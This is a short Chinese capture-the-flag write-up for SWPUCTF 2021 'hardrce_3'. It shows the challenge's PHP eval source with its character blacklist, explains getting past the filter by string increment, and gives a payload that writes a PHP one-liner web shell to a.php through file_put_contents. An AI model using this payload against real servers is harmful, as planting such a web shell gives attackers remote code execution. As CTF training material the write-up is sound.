[SWPUCTF 2021 新生赛]hardrce_3——注意字符串里面的$前加上反斜杠

刚刚学习了这些知识,做起来很轻松

源码

<?php

header("Content-Type:text/html;charset=utf-8");

error_reporting(0);

highlight_file(__FILE__);

if(isset($_GET['wllm']))

{

    $wllm = $_GET['wllm'];

    $blacklist = [' ','\^','\~','\|'];

    foreach ($blacklist as $blackitem)

    {

        if (preg_match('/' . $blackitem . '/m', $wllm)) {

        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");

    }}

if(preg_match('/[a-zA-Z0-9]/is',$wllm))

{

    die("Ra'sAlGhul说用字母数字是没有灵魂的!");

}

echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";

eval($wllm);

}

else

{

    echo "蔡总说:注意审题!!!";

}

?> 

题目说了不让用异或取反,那就只能自增了

脚本:字符串自增构造.php

然后我们发现system函数我们不能用,而且还开启了”open_basedir“,这很不友好,因为我们没办法去访问根目录下的flag

但是好在 file_put_contents() 函数没有过滤,那么就用这个函数来生成一个一句话木马

payload  =  _=@file_put_contents("a.php", "<?php @eval(\$_POST[a]);@phpinfo(); ?>"); ,但是这里有个坑

就是"$"符号前面要加上"\",不然运行不成功,之所以这样子是因为如果不加反斜杠,file_put_contents会将$_POST[a]解析成一个变量,那么实际写入进去的文件按就成了这个样子

是的,eval()里面的东西飞了(悲),

而加上反斜杠后就正常了

下面就是读取根目录下面的flag就行了